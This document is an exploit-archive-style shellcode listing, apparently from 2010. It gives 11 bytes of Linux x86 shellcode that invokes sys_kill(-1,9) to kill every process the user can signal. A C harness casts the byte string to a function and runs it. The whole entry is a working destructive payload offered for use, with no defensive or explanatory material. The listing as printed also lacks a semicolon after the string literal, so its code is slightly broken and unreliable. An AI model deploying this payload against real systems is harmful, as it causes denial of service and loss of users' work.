linux/x86 - kill all running process

/*
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Title  : kill all running process 
Name   : 11 bytes sys_kill(-1,9) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : ubuntu linux
*/
#include <stdio.h>

char *killer=
 "\x31\xc0"                    /* xor    %eax,%eax */
 "\xb0\x25"                    /* mov    $0x25,%al */
 "\x6a\xff"                    /* push   $0xffffffff */
 "\x5b"                        /* pop    %ebx */
 "\xb1\x09"                    /* mov    $0x9,%cl */
 "\xcd\x80"                    /* int    $0x80 */


int main(void)
{
		fprintf(stdout,"Length: %d\n",strlen(killer));
		((void (*)(void)) killer)();
		return 0;
}